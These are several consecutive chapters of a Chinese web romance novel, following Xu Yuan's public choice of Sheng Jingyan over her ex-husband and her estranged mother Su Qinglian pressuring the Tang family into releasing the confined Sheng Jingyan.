“谁不知道许愿是在跟傅总离婚后才开始穿红裙的,傅总以前接受财经报道曾经说过自己不喜欢鲜艳的颜色,以前许愿也从没有穿过艳丽的颜色,几乎跟他相称的黑白灰,但是离婚后一直都在穿红裙,像是对傅总的一种反击,压抑久了的反击,傅总这样的人竟然全盘受了还准备了这么多红裙,你告诉我这不是爱是什么吗!” “傅总简直大气!老婆怀了别的野男人的孩子无缝衔接跟人跑了他还能继续爱她!谁来了都要说一句情种的程度!” “许愿到底是怎么做到这一切的?怀着盛景炎的种让傅京礼对她念念不忘?” “因为她够美呗。” “日,傅总这样简直就是故意的,他就是要挑这时候对许愿示爱,盛景炎才车祸,你们看到那车祸场景了吗,现场没有找到盛景炎的尸体,但就那现场不死也残了,找回来也是废人。你们猜许愿会选谁?如果是我,我就选傅总,盛景炎再好那也是个废人了,更别说盛景炎以前就是个风流浪子,哪有傅总这种痴情前夫好。” “是我我就选盛景炎,拜托,盛景炎都做到哪一步了!所有的财产都留给许愿了!公司股份,资产不动产全都写的许愿的名字,盛景炎残了毁容了我也爱啊!他能给我钱我能守他一辈子!更不要说许愿一直都是在乎利益的,她为了利益也会选盛景炎。” “所以许愿凭什么?” “前夫对她念念不忘,现任对她倾尽所有,这才是现实版的祸国殃民。” A大金融系的学生们看到这些简直要被气死了,立刻回应开麦。 “那可是许愿!是当年的提前毕业的高考状元,是A大金融系的骄傲,是现在都被教授写到教案中的人物,是几份合作案救了很多人甚至现在基金会都在不停救助心脏病人、失学儿童、癌症患者各类人群的许愿!什么是祸国殃民!有些人不会说话就闭嘴!” 第218章 许小姐和盛先生的爱 “知道洪门谈判的含金量吗!是许愿一己之力碾压莱蒂斯以低于成本价二十亿的价格拿下那块地皮惊艳国外商圈金融圈!你们知道为什么被称为洪门谈判吗!因为那场谈判是国外商圈一早设好的阴谋圈套,他们为的就是让华国企业出丑,是许愿让他们暴露出罪恶的爪牙,是许愿查询了所有资料,是许愿让华国碾压了其他企业,稳稳的站在他们头上,是她那场谈判才能让现在华国去国外谈合作被人另眼相看!不然你们以为他们凭什么给你们合作的机会甚至此次金融峰会都定在华国A市!不仅因为盛华总公司移到A市!也因为当年参与洪门谈判的许愿也在A市!” “如果你们清楚许愿的含金量,你们也会在离婚后对她念念不忘!如果你们是盛景炎,你们就该清楚,哪怕没有他给予的一切她自己也能创造这一切!你们与其说是盛景炎倾尽所有,倒不如说是盛景炎给盛世上了一道保护锁,因为许愿这样的人不会觊觎盛世的一切,但盛家其他人就不一定了,给了许愿许愿一定会守住一切!” 在网络上随便评判人的网友哪里能懂这么多,此刻看到这些解释才明白“许愿”二字的含金量。 是啊,换作是他们,若是前妻是这样的女人她们也会一直藏在心里不停追求没办法放手。 她美丽、优秀、强大还带着满身的荣耀,这样的女人,谁能不爱。 网络风向已经彻底变了,但其中还是夹杂着不少人提到让许愿抛弃盛景炎选择傅京礼。 理由很简单,盛景炎一定已经变成废人了,傅京礼都不嫌弃她婚内出轨怀了野男人的孩子,选傅京礼才是最优选择。 傅京礼一直关注着评论走向,看到这则评论,只是微微敛眉又发了条微博。 【傅京礼】:那是我和她的孩子。 傻子都能明白傅京礼这话的意思。 之前那么多人都在嘲讽许愿,现在被傅京礼打脸了。 孩子是他和许愿的,许愿没有婚内出轨,最多也只是离婚后不久跟盛景炎陷入爱河。 想让他们重新在一起的人已经扎堆儿了。 人就是忠于利益的,他们没有经历过许愿的人生,不清楚盛景炎对许愿是什么样的存在,他们更不知道傅京礼曾经对敌人的纵容对她的伤害,他们轻而易举的将自己代入许愿的角度,他们觉得傅京礼这样完美的男人爱着你,你就该接受他,这才是最棒的选择。 他们在网络上指手画脚,张口闭口许愿和傅京礼天造地设的一对儿。 无趣又可笑。 许愿回到公寓后就看到网络上的闹剧。 网上闹得越厉害,她的心就越是毫无波澜,越是想念盛景炎。 她垂下眼睫点开盛景炎的微博,自从两人公开后,他经常性的在微博对她示爱,他赤诚的爱意,根本藏不住。 几乎每一条微博都跟她有关。 【耳中所听皆是你的呢喃,心之所向指你为南,目之所及除你之外全是荒野。】这是盛景炎最新一条的微博,也不知道从哪里找到的酸酸的话,配图是她的背影。 他总是将她拍得很漂亮,哪怕是背影都带着模糊的美。 许愿点了个赞,继续翻他的微博。 【遇见你这么美好的事情,像海边听到微风,像深夜漫天星光,像夏日相配西瓜,像一切美好的事。】 许愿微微唇角忍不住的勾起,在下面回应评论“像许愿遇到盛景炎。” 盛景炎真的发了很多与她相关的微博,她翻阅着,仔细的看着,好像这样就能隔空触碰到他一般。 【许小姐生活作息很不健康,希望她可以多学学我早睡晚起身体健康。】 许愿回他:“那就多学你跟你一起赖床好不好。” 【许小姐最近好像生病了,分一半健康给她好了。】 许愿回他:“盛先生最近也在生病,许小姐也想分一半健康给他。” 【许小姐不喜欢的东西超多,好在盛景炎不包括在内。】 “许小姐很挑剔,但许小姐喜欢盛景炎。” 【许小姐嘲笑我‘一把年纪’还在看奥特曼,拜托,许小姐还不是花一样的年纪在看哆啦A梦。】 “最后许小姐陪盛先生看了奥特曼,盛先生陪许小姐看了哆啦A梦。” 【许小姐真的很喜欢工作,又在跟我谈工作了,她漂亮的嘴巴在说什么啊,没听清,想亲。】 “许小姐也在等你的亲吻。” 【许小姐的花到了。】 “许小姐收到了,她很喜欢。” 【许小姐说以后要陪我一起环游世界,先记下来。】 “许小姐记住了,希望盛先生也要遵守诺言。” 【许小姐今天又挑食了,她真的很不爱吃胡萝卜,算了我也不爱吃,到底谁会喜欢吃许小姐讨厌的胡萝卜啊!生气。】 许愿看到这里忍不住眼眶微微湿润的回应。 “最近新推出了没有胡萝卜味道的胡萝卜糕,等盛先生回来我们一起去尝尝吧。” 盛景炎的微博全都是许愿。 他像是在记录他们之间很日常的点滴,但是每一字每一句都带着阳光带着爱意。 她一条微博一条微博的翻着,早起的盛景炎很少发微博,甚至几个月才一条,她很快翻阅到几年前的微博,却猛然看到她的身影 是她在做钢笔的背影。 盛景炎:【来探望老爷子,遇到一位在为爱人亲手雕刻钢笔的女士,希望那位先生收到这支钢笔会感受到她的爱意。】 许愿眼眶陡然红了。 他看到评论区是盛景炎不久前才评论的。 盛景炎:“已经是我的爱人了,在等我的爱人送我的钢笔,我会爱她。” 这是对她这三年以来对傅京礼付出一切的回应。 好像在说,许愿是他的爱人,傅京礼不爱她不要紧,他会爱她,一直爱她。 许愿捂住自己的眼睛,强硬的逼迫自己忍住泪意。 她甚至觉得自己此刻眼前都是模糊的。 其实她和盛景炎之间的缘分很早很早前就开始了,他一直都在等她的那支钢笔对吧。 第219章 回来,好吗 许愿返回到盛景炎最新一条微博,在下面回应他“等你回家。” 许愿的回应,就是她做出的选择。 她在傅京礼和盛景炎二者之间毫无保留的选择了盛景炎。 盛景炎每一句诉说的爱意,在她这里都有回应。 在傅京礼对她示爱时,她毅然决然的做出选择,没有任何犹豫。 她爱盛景炎,只选择盛景炎。 有些一直关注这些的人看得心里酸酸的。 他们甚至为此祈祷。 “希望盛先生真的能够平安回到许愿身边。” 不管旁的利益纠葛,她此刻炽热的感情总归是真的。 许愿对盛景炎的回应就是对傅京礼的另类拒绝。 许愿决意离开的心,傅京礼触摸到了。 许愿本是那么柔软的一个人,现在却变得如此冰冷坚硬。 有人在嘲讽许愿如果盛景炎真的变成废人也不知道许愿能守着他多久,是不是会离开盛景炎接受傅京礼的爱。 傅京礼看着网络上的一切才知道,原来心痛也分两种,一种是为自己,一种是为别人。 傅京礼马上打去电话,那边显示关机。 他觉得可能不是关机,而是自己被拉黑了。 因为经过今晚的一切,她觉得跟他已经说清楚了,彻底斩断他们之间的羁绊,所以便不必再联系。 在这异乎寻常的痛苦之中,傅京礼瞥见这样一条评论:【表现得这么深情有什么用!有本事你真的一辈子守着盛景炎啊!依我看你就是觉得傅总不爱你只是爱你身上带着的荣耀利益所以才去选了盛景炎这样没用的废人!不然你看傅总除了最近这段时间发过跟你相关的微博,以前什么时候发过跟你有关的东西!你就是得不到傅总的爱所以才这样又装又演装你自己对盛景炎多深情!还不是傅总不爱你!】 这条评论下面跟着很多评论,都是嘲笑许愿的,骂许愿是跳梁小丑。 傅京礼的心口都跟着像是被剜去一般疼痛。 傅京礼站在落地窗前,呆呆地站在寒风里。 月光星辉洒了满身,却照不亮他布满血丝的痛苦眼眸。 【我们见个面再好好谈谈。】 【盛景炎不在了还有我在。】 【你看见了吗?看见了给我回一个电话。】 【离开盛景炎,我会一直等你。】 傅京礼把社交账号直接当成聊天软件在用,一条又一条地发布着消息。 短短数分钟时间,他发布的消息比过去的十几年还多。 他的焦急、恐慌、不安、不舍,全都体现在这些文字里。 看着一个一个往外蹦的消息,还在八卦的网民都愣了。 如果他们还有眼睛,还有感知,还有最为浅薄的理解能力,他们就会知道,这段婚姻并不是一场交易。 许愿在傅京礼心目中的地位,也绝非一个可有可无的工具。 【傅总他……他好像爱着许愿啊!】一名网友用不敢置信的心情打出这句话。 【不可能的!许愿不配!】 可许愿不配还有谁配呢?她已经是那样耀眼夺目的人了。 这样的反驳很快就遭到了傅京礼的打脸。 他开始点赞许愿曾经发的微博。 那是他们婚内三年许愿隐晦的发过与他相关的微博。 就像盛景炎爱上许愿后发过的微博一样,许愿也曾经发过这样的微博,她在隐晦的表达自己对傅京礼的爱意。 “不是说喜欢巴黎的咖啡吗,有机会我可以陪你去那里品尝所有你喜欢的咖啡。” “你说那片薰衣草花田很美,下次我可以跟你一起。” “我也可以喜欢红色,今晚的礼服都是送给你的。” “回来,好吗。” 以前未曾做到的事,此刻他只想尽力弥补。 喧嚣的网络因为他异常的举动变得十分安静。嘲讽许愿的声音一瞬间全都消失了。 就像那个网民说的那样,傅京礼他,是真的在爱许愿啊。 但一切都太迟了。 转发完所有照片和微博,傅京礼抬起头,神色空茫地看着夜幕。 心脏破了一个洞,这种病要怎么治? 片刻后,他低下头,开始翻看那些照片,视线牢牢黏着在许愿每一张灿笑的脸上。 他曾经拥有世界上最美好的东西…… 痛苦的感觉依旧强烈。然而在痛苦之外,愤怒的火焰在他心里燃烧,几乎焚毁一切。他说不清那愤怒是因自己还是因那些什么都不懂的网民。 他走进自己的书房,没有开灯,静静地坐在黑暗里。 还有挽回的机会吗。 他是真的不想许愿离开啊。 …… 海外小岛。 苏青莲一直都在关注国内的消息,得知唐家如今家主是唐青江的表哥而谭雅颂的身份也跟着上来了就只觉好笑。 唐家人觉得嫡系的血脉断了,旁支就可以随意蹦跶了? 他们却不知,许愿和苏逸才是唐家真正的嫡系血脉,他们身体内才是真正的流着唐青江的血。 但是许愿不知道这些,而唐家在华国确实是真正的富贵门庭。 当年她敢硬刚唐家人是因为心存死志,一心只想带走唐青江,若是带不走唐青江陪着他死在一处也是好的,所以才敢明面对峙唐家。 可如今许愿顾虑太多,若是唐雅颂带走盛景炎,而盛家也执意庇护唐雅颂,那许愿想夺回盛景炎就有些难了。 虽然她瞧不上唐家人的某些作风,却也不得不承认唐家在国内还是很有分量的。 苏青莲眼神愈发暗了。 这次,恐怕只有她为许愿出头了。 即便她再不想出面,可对上唐家,她不觉得许愿有多少胜算,甚至唐家真有可能藏盛景炎一辈子。 当初若非她清楚唐家为人孤注一掷也带不走唐青江。 苏青莲眼神冰冷的给唐老爷子发了封邮件。 唐家家主虽然是唐青江的表哥,但只要唐老爷子还活着,唐家真正的话事人就是老爷子,只要老爷子说不准唐家就没人能留得住盛景炎。 苏青莲的邮件里其实没有说什么要紧事,只有一句话。 【盛景炎是我的女婿】落款没有多余的任何话,只有苏青莲三个字,却足够引起唐老爷子的重视。 第220章 苏青莲的女婿 这个时间在国内还是深夜,唐老爷子收到了这封邮件,很少有人知道老爷子的邮箱,能发到他账号上的多是国内大事或者各类决策会议,老爷子戴上老花镜翻看邮件,待看到落款名字时整个人身体都是僵硬的。 苏青莲。 这个女人的名字曾经像是噩梦一样缠在所有唐家人心里久久挥之不去。 唐老爷子有多怨苏青莲呢?唐青江本该是唐家最优秀的后辈,可他偏偏要去爱上苏青莲为他改名字为他付出那么多,甚至出事后还被偷走身体,而苏青莲的死讯也在此时传来。 所有人都信了苏青莲去世的消息,唐老爷子却不肯信,他清楚这只是苏青莲的把戏,她偷走了自己孙子的身体,他坚信这个女人自私凉薄,一直都在恨着苏青莲。 可即便恨也不得不承认这个女人有出色的头脑有着足够碾压一切的高智商,所以唐老爷子猜到过真相却什么都没有提。 只是没想到过了这么久,苏青莲竟然还敢私下联系他。 这句话什么意思? 盛景炎是她的女婿?他当然听说过许愿的事!不愧是她的女儿,能让男人为她付出一切,傅京礼也好盛景炎也好哪个没变成情种。 可苏青莲这个时间发这条信息做什么?难道是想让他帮忙去救盛景炎? 唐老爷子猜不透苏青莲的做法,整个人眉头紧皱。 他直觉是唐家人做了什么事惹到了苏青莲。 老爷子传来一直候在自己身边的副官。 “盛景炎在唐家?” 一句话,道出真相。 副官哪里知道这些,立刻道:“我这就去查。” 外人想查唐家难于登天,但唐家的一切在老爷子这里几近透明,半小时后副官拿着厚厚一沓资料回来,神色复杂。 “老爷子,雅颂小姐抢走了盛先生,说是要逼着盛先生跟她领证结婚,不然就要将人困在唐家一辈子。” 唐家是大家族,子嗣众多,唯有嫡系一脉断了根系,没了唐青江,剩余的都是旁支,唐老爷子也记不清唐雅颂是哪个,直到看了资料才想起自己那骄纵的曾孙女。 “你去告诉唐槐,说我收到了苏青莲的邮件,作为一名优秀的家主,他该知道如何做。” 所有唐家人都该知道苏青莲是个什么人物。 果然,本来对唐雅颂抢走盛景炎这件事毫不在意的唐槐知晓老爷子收到苏青莲的邮件后开始慌乱。 他是唐青江的表哥,当然知道当年苏青莲在国内外有多风光,且这个女人心思多到用筛子筛都筛不完,得罪她,她是真敢把天捅破,不然也不会在唐家眼皮子底下偷走唐青江还假死躲了这么多年。 一想到苏青莲躲在暗处观察一切,唐槐的心都跟着冷了。 他根本不敢想更多,直接开车去了唐雅颂的别墅,还要什么盛景炎!先想着把人怎么完好无损的送回去! …… 唐家收到苏青莲邮件的事唐雅颂一概不知,此刻她还守在盛景炎身边,候在一旁的有她从国外请来的医生,就为了给盛景炎治腿。 “你这么不配合,是真的想一辈子都坐在轮椅上,像你那废物大哥一样吗!” 唐雅颂看不得盛景炎这副颓废模样。 可即便再不甘心也知道自己在他心里没有任何分量,唐雅颂眼神中掠过几分狠辣,却还是跳出来许愿才回应的那一条条诉说汹涌爱意的微博。 “你看看这些,许愿还在等你,她都在等你,你还要这样堕落下去吗!你真的希望在她眼里变成废人吗!” 盛景炎终于有了反应。 他接过唐雅颂递来的手机,看到许小姐说等他回家,看到许小姐一条条回应盛先生,喉头愈发堵得厉害。 他的阿愿那样聪明,一定猜到他会变成一副如何丑陋狼狈的模样,却还要在网络上回应他的爱。 回应这些做什么呢?她回应这些只会让那群人攻击她嘲讽她。 他想握紧手机,却都没了力气。 他低下头就看到那双已经断掉的双腿,这样的他又哪里来的勇气拥抱她跟她回家,他……哪里配呢。 就像那些人说的,如果他真的爱她,就该躲在暗处祝她幸福,而不是重新出现毁掉她的新生活。 “你不是说会把我藏起来吗。” 盛景炎嗓音沙哑。 “既然见不到她,是废人也没关系。” 他不是真的颓废,而是知道这双腿应该是治不好的。 唐雅颂气得眼睛都红了,正要骂他,别墅内却闯进来一队人开始在她房内到处搜寻,唐雅颂更气了。 “你们知不知道这是什么地方!都滚出去!” 但没有人离她,一群人搜到盛景炎后立刻对视一眼将人从地下室带离到大厅。 此刻大厅内唐老爷子和唐槐都在。 唐老爷子先是眼神犀利的上下打量盛景炎,盛景炎瞳色淡淡的,对上他的眼神也是毫无波澜。 他的长相是极优越的,即便是此刻面色苍白也不得不让人打从心底感叹一句好相貌。 对于盛景炎的资料唐老爷子已经事先看过了,是个能忍的狠人,但自己的曾孙女显然留不住他。 更何况,腿都断了,苏青莲想要这样的废人当女婿,他们唐家可瞧不上废人。 显然唐槐也是如此想的。 “现在就把人放回去,你想要什么样的人没有偏要挑这样的,我们唐家是哪里委屈你了!” 唐槐是真被唐雅颂气到了,他是真疼这个侄女,但是这个侄女也最爱忤逆他。 “他都把家产股份全给许愿了,你说你留着个心没在你身上的男人有什么意思!爱和钱他统统不会给你!” 唐雅颂也生气,自己藏人藏的好好的就这么被他们做长辈的闯进来了,一进来就教育她,她都要气死了。 “我是唐家小姐我要什么没有还要他的财产!我就要他的人!” “我是不会放他离开的!” 唐槐一口气没上来,严厉道:“你知不知道……你知不知道老爷子收到了谁的邮件,就因为你抢了盛景炎,苏青莲发了邮件警告老爷子。” 第221章 母女都是疯子 “他可是苏青莲的女婿,你动他,就是要跟苏青莲开战,你是想要整个唐家陪你一起完蛋吗!” 听到苏青莲的名字,盛景炎眼睫跟着很轻很轻的颤了下,手不由得握紧轮椅扶手。 苏青莲在唐家人心中就是噩梦一样的存在。 明明只是一个漂亮的女人,却足够去跟命运和权势抗争,她是女人却足以碾压所有男性,她的智商情商美商都远高常人,就像有国外友人提到苏青莲时说过,百年可能才能出一个苏青莲。 狡兔三窟,那苏青莲却能有十窟,几十窟。 她的心思很重,你永远不知道她手中到底掌握着你多少证据,可能会毁掉你的清誉,可能让你牢底坐穿,也可能让你整个商业帝国日落西山大厦将倾。 她什么都不做你可以安稳度日,一旦她盯上你,那就不要让她发现你有任何错处。 她会像秃鹫,盯到你的腐肉就会狠狠啄烂。 那可是苏青莲啊,唐槐这么慌就是因为当初留在研究所负责看护唐青江的人是他,可苏青莲就是在层层包围下那么多监控下偷走唐青江。 且……若非是苏青莲现在冒出来,他们还不能确定当年的事就是她做的。 是的,她厉害到他们至今没有真相是她偷走了唐青江的身体。 “苏青莲……” 唐雅颂整个人有一瞬的茫然。 所有唐家人都知道苏青莲是谁,他们自小接受的教育都会被唐家加塞一部分苏青莲有关的人物史,就是要告诫他们,遇到苏青莲这种人一定要逃要躲,不能与之为敌。 可唐雅颂只记得苏青莲不简单,具体的内容她根本没有仔细听,所以现在才会对苏青莲的事迹这般模糊。 “我们唐家在国内是什么地位,为什么要怕一个苏青莲!” “大伯!苏青莲她不是早就死了吗!死了那么久的人怎么可能威胁到你们!” “我看你们就是不能接受盛景炎跟我在一起!” 唐雅颂开始爆发小公主的脾气。 “我们不能接受是一回事,你不能去抢苏青莲的女婿又是一回事!你能明白吗!他身上已经印上许愿的标签了,除非许愿不要他,否则这辈子他都是苏青莲认定的女婿!” 一个许愿他们还不会这么慌,毕竟在他们眼里许愿有能力是有能力,但毕竟还青涩还年轻,国内的势力人脉网远不如他们。 但苏青莲不是,国内多少人的底细苏青莲都知道得清清楚楚。 他们敢组团做点什么,苏青莲就敢背地里放个炸弹大家一起死将一切毒瘤都连根拔起,谁敢不给她面子! “苏青莲到底是谁啊!能让你们这么害怕!” 唐雅颂气急败坏。 唐老爷子一言不发的眯着眼看她许久,知道当初有关苏青莲的事她就没放到心上。 “看看吧,看完这些你就知道苏青莲是谁了,为什么能让唐家人如临大敌。” 唐老爷子身边的副官将一叠资料丢到唐雅颂怀里。 资料很多,前面很大一部分都是苏青莲取得的各类荣耀,唐雅颂看得烦躁,她自诩自己就足够优秀,现在看到更优秀的女性忍不住嫉恨烦躁的“哗啦啦”往后翻阅资料。 终于看到苏青莲的“丰功伟绩”。 苏家曾遭多家国内外企业围堵谋划要吞并苏家产业家业,这些公司多达将近二十家,甚至还有国内一些有权势背景的人给了这些人便利。 他们盯着苏家就是因为苏家当时只有一个重病即将去世的苏老爷子还有一个性别为“女性”的苏青莲,他们想吃绝户,他们认为苏青莲一个女人守不住苏家家业,所以组团攻击。 可结果呢? 苏家在这场金融围剿风暴中几乎毫发无伤,甚至凭借苏青莲的研究股价上涨几个百分点,而那些围剿苏家的企业全都元气大伤。 这不算完。 所有参与这次围剿的一个不落全都遭到报复。 做房地产生意的被查出房子各类检测不达标股价暴跌全部要重建,电子智能产品被抖露出与外国人勾结在其内添加监听器监视国人的丑闻,食品相关的检测出有不可食用添加剂……所有围剿苏家没有破产的也被强制收购,还存留的几家也不负从前风光早就沦落成小家族,苏青莲放过他们还是因为他们换了别的方向没再做原来的生意。 至于那些暗中帮他们红白背景的人一个一个被她拉下马,贪污受贿偷税漏税搞色情生意各种,那阵子铺天盖地全部都是这类丑闻。 招惹苏青莲? 谁会想不开去招惹苏青莲呢?是想让她给你来个大清洗吗? 谁能保证自己这辈子真的完全干净呢?只要你有一个污点,苏青莲就能给你无限放大将你代入舆论中心毁掉你,这就是苏青莲的可怕之处。 苏青莲至今都是如今一些金融大佬心中的噩梦存在,现在提及苏青莲他们都会心跳加速,不是因为欢喜而是心慌。 跟苏青莲硬刚?战绩可查。 唐雅颂看着这些目瞪口呆哑口无言。 “她是疯子吗!” 是的,这么疯狂的人,在她看来就是疯子! “你觉得她做错了吗。”唐老爷子眸光晦暗:“你觉得她该给那些人留些余地让人觉得她大度吗。” “可也不该做到这种地步……” 太夸张太可怕了。 “你以为她是做给谁看的。”唐老爷子声音苍老中带着沧桑沉重。 “苏家是有旁支,但都是些狼心狗肺的东西,苏家嫡系早就跟这些人断了关系,但他们还是不停黏上来,苏青莲是苏老爷子唯一在乎看重的嫡系血脉,苏青莲做这些就是为了让所有人知道她不好惹,谁也不能打苏家的主意。” 她一个女人,如果不想被人随意欺凌只能强硬。 他们恶,她就会比他们更恶,他们狠,她就会比他们更狠! 做到这一步后,他们都称呼苏青莲是疯子,果然再没有人敢打苏家的主意,就连苏家旁支都躲得远远的。 “苏青莲是疯子,许愿是她的女儿,你以为许愿能正常到哪里。” 第222章 被上流圈层忌惮的女人 “如果苏青莲死了,你想要盛景炎唐家或许还可以为你拼一把,但苏青莲活着,你想让唐家对上这对母女?” 唐老爷子眼神浑浊却明显夹杂着不屑的凉意。 “唐雅颂,你配吗。” 唐雅颂心口发堵。 “可是……可是我们唐家堂堂正正……我们唐家……没有黑点。” “真的没有吗。” 唐老爷子嗓音凉薄:“如果唐家没有黑点,那盛景炎现在为什么会在唐家,他现在应该已经被许愿接回去。” 唐雅颂无言以对。 “没有人是绝对干净的,你以为的干净是他们让你看到的,你都能凭着唐家小街身份做到这一步,你以为唐家真的干净吗。” 唐老爷子声音愈发沧桑。 “如果清江还在,苏青莲会绝对维护唐家永远不会与唐家为敌,可他不在,而你在欺负她的女儿她的女婿,她会毁掉你毁掉唐家。” 苏青莲轻易不出手,出手就要整个毁掉。 “唐雅颂,她肯发这封邮件都是看在清江的面子上。” “你不肯放盛景炎回去,那就要做好吃牢饭的准备。” “她或许不会动唐家,但绝对会毁了你。” “你考虑清楚,是留下一个不爱你的人重要还是守住自己更重要。” 唐老爷子作为一个还算了解苏青莲的人,已经算是警告。 这封邮件确实是看在唐青江的份儿上才给唐家的告诫提醒。 如果唐雅颂仍然执迷不悟,那就要祈祷唐雅颂真的没有做过任何错事,否则全网都会谴责她,唐雅颂作为唐家人,那势必要牵连到唐家。 “唐雅颂,别做出会令自己后悔的决定。” 唐雅颂咬着下唇眼泪几乎要喷涌而出。 “凭什么……凭什么就因为一个苏青莲我就要让步,我等了那么久。” 她是真的很喜欢盛景炎,在研究所见到盛景炎第一眼就被他慵懒肆意的姿态吸引,他明明已经那样散漫却又偏偏有着致死的迷人感,像是藏了毒的花朵,让你明知道他是危险的却还是控制不住的扑上去。 越是了解就越是喜欢。 人怎么能优秀到这种地步。 明明是那样的身世,明明是不被爱才丢到国外的,却仍然如此优秀危险且强大,这样的人她如何不爱? “你们凭什么认为这封邮件是苏青莲发的,为什么不能是许愿发的?” “苏青莲是魔鬼她的女儿一定也会是魔鬼,一定是许愿冒充了苏青莲的身份就为了从我手中夺走盛景炎。” 唐雅颂不敢相信也不甘心让步。 现场一片寂静。 头顶的灯光过于刺眼,盛景炎抬头只轻微扫了一眼便已经感觉到刺目的酸涩。 他抬起手捂住自己的发红酸涩的眼,他像是很轻微的笑了一声,嗓音低哑。 “不是她做的。” “她并不知道苏青莲还活着。” 盛景炎目光定定的望向唐雅颂,缓缓开口:“在她心里,苏青莲早就是个死人了。” 是的。 如果苏青莲真的强大到这种能让这些人听到名字就为之心惊胆颤的地步,那当年的苏青莲不过是为了带走唐青江假死,其实她是有能力带走许愿和苏逸的。 可她没有,她抛弃了她们,甚至留给许愿一个她赠予设计的噩梦。 她暗示许愿她是被迫自杀,她暗示要让许愿养大苏逸,让她夺回属于苏家的一切。 她留给许愿的除了噩梦还有什么? 那点微弱到可怜的母爱吗?苏青莲对许愿真的有过爱吗? 她所有的感情都在唐青江身上,她是个合格的爱人,但她永远都不会是一位合格的母亲。 所以许愿猜到苏青莲可能还活着,但若一切的真相真的如此,那在她心里,苏青莲确实早就是个死人了。 此刻的盛景炎甚至想用自己最阴暗的心理去想苏青莲,她此刻出现,或许是她即将回国。 她这时候伸出援手,不仅因为唐家的势力庞大,可能还因为在许愿面前卖一个好。 她就是要让许愿知道,她永远都压在她头上,好像是用那样施舍可怜的语气告诉她:“看,你的男人都是我救回来的。” 可笑。 她是真的要回来了吗。 那么……是唐青江要醒了。 她此刻做出一副慈母姿态,怕是做给唐青江看的。 苏青莲不愧是苏青莲,所有的一切在她心里都是一盘杂乱却又条理有序的棋局。 他不想也不愿让许愿永远被苏青莲这样的母亲压一头。 盛景炎目光落到唐雅颂脸上,他突然笑了,他相貌非常俊美,此刻展露笑颜让唐雅颂整个人一时看怔了。 “唐雅颂,你要因为苏青莲把我交出去吗。” 唐雅颂内心都在抗拒挣扎,她似乎也不知道自己此刻如何做才是正确的。 唐老爷子却看透了盛景炎的心思。 他喉间发出笑意。 “盛景炎,看来你是真的很爱许愿。” “可是你要知道唐雅颂无法违抗唐家人的决定,既然苏青莲开口了,我们唐家绝不会留你。” 不是不留,是不能留。 烫手山芋,越早处理了越好。 盛景炎淡淡的瞥了唐雅颂一眼,明明是那样清淡的眼神,却硬是让唐雅颂感觉到内里的嘲意。 “那么,请问可以让我跟苏女士对话吗。” 他退了一步。 唐老爷子深深的看他一眼,扫了眼一旁的副官,副官将他推行至电脑桌旁,点开那封苏青莲发来的简短邮件。 确实如唐老爷子所说的,只一句话。 【盛景炎是我的女婿】落款是苏青莲,没有更多信息。 只是,当盛景炎正要用受伤的手触碰到键盘时,电脑屏幕突然开始闪烁,片刻后显露出一张明艳却温婉看似温柔似水的女性面容,那张面容和许愿太过相似,只是不同于她给人是那种柔情到像是一汪秋水,而许愿却更像雪山之巅的一朵只可远观的雪莲。 透过电脑屏幕猜不透她年岁几何,只知道是个不可多得的美人。 这个人…… 就是当年各大金融圈商业圈都曾疯狂追求过的苏青莲,更是被这些上流圈层忌惮的女性角色。 第223章 盛景炎,我来接你回家 苏青莲不愧是苏青莲,时时刻刻都在盯着A市盯着唐家,否则又怎么会这么巧的在他的指尖触碰到电脑键盘时这么巧的切进了视频通话。 唐家连接的网络有层层防护,却被苏青莲如此轻巧的冲破,足以让人清楚苏青莲的可怕之处。 唐老爷子眸色沉沉的望着屏幕,却对上苏青莲笑吟吟的眼神。 “老爷子,好久不见。” 唐老爷子双目浑浊:“确实是好久不见,苏青莲,你闹了这么一出到底想做什么。” 苏青莲唇角扬起,笑意悠扬。 “我以为老爷子看到我还活着会非常高兴。” “更何况老爷子真的猜不到吗,看来老爷子真是明显见老。” 唐老爷子猜不到吗?他当然猜得到。 只有唐青江还活着苏青莲才会继续活着。 苏青莲此刻才出现,那只有一种可能,唐青江快恢复了。 “老爷子也要好好教一教唐家后代了,跟阿江比起有些过于不知礼数了些。” 这说的是唐雅颂。 唐雅颂似乎也感觉到苏青莲提到自己,她不知为何觉得浑身发寒,她透过余光看到苏青莲那张过于美艳的面容,却觉得她笑吟吟的眼神实在过于犀利,仿佛根本不是透过屏幕在注视自己,好像她整个人就在她面前。 唐雅颂遍体生寒,但显然她还不配与她说上话。 莫说她,就是唐家现任的家主唐槐她也没有放在眼里。 “你这么想见我你想对我说什么。” 苏青莲终于将目光放到盛景炎身上,她眼神多了几分懒散,甚至带着几分挑剔,似是不明白许愿为什么会选他那般。 “我希望苏女士不要去打扰她的生活。” 苏青莲表情不变:“你可以把话说得更明白些。” “苏女士什么不明白呢。” 盛景炎虽然浑身是伤,但为了许愿他没有退缩,对上苏青莲与之对峙。 苏青莲微笑一言不发,她这样的沉默微笑就已经是婉拒。 她知道一切,但她拒绝。 “既然苏女士没有参与过她那些年的成长,那现在也不必回来。” “阿愿好不容易达到如今的高度,被人称呼一句许总,我不希望因为苏女士她只被人看作‘苏青莲的女儿’。” 苏青莲是苏青莲,许愿是许愿。 如果苏青莲回国,许愿的光芒势必会被苏青莲所掩盖,他们所有人都只会记得苏青莲的优秀,谁还会记得许愿? “如今的高度?”苏青莲眸色平淡:“这也算是高度吗。” 盛景炎眸光冷淡:“苏女士应该清楚,当年苏女士能提前接受那些教育有苏家做背景靠山,阿愿什么都没有,她与你本就输在起跑线上。” “你一定要这样说,那么你为什么不提我所处的年代遭遇过什么,教育断层,你认为我能接收到什么更好的教育。” “盛景炎,她的基因可以说是国内最好的基因,却只达到这些成就。” “你跟我提这些,可若非是我们的基因,她不会有这样漂亮的容貌,没有这张漂亮脸蛋你不会第一眼注意到她,没有我们的基因她不会有这样高的智商,也就不会有那些她引以为傲的合作案。” “她能有这一切是因为有我的基因。” 苏青莲微笑:“所以,是我创造了她,你凭什么让我继续躲在暗处。” “创造者为……嗯,手办纪念品让步?你有听说过这种说法吗。” 她不提自己是许愿的母亲。 她说她们的关系是“创造者与手办纪念品”。 她果然不爱许愿。 盛景炎眼神愈发冷,现场所有人都震惊于苏青莲说出的那段话。 盛景炎还未有任何回应,唐家大厅的大门已经被人推开。 声音不算小,众人的目光纷纷转过去。 却看到一张与苏青莲有七成像的脸,她推开大门,身旁跟随的是两名身形高大的俊美男性,一人黑色短发温文尔雅,一人银色长发容貌邪肆美貌,却像守护者一般守在她身旁。 而他们身后是数不清的警卫员。 唐家众人的脸色顿变。 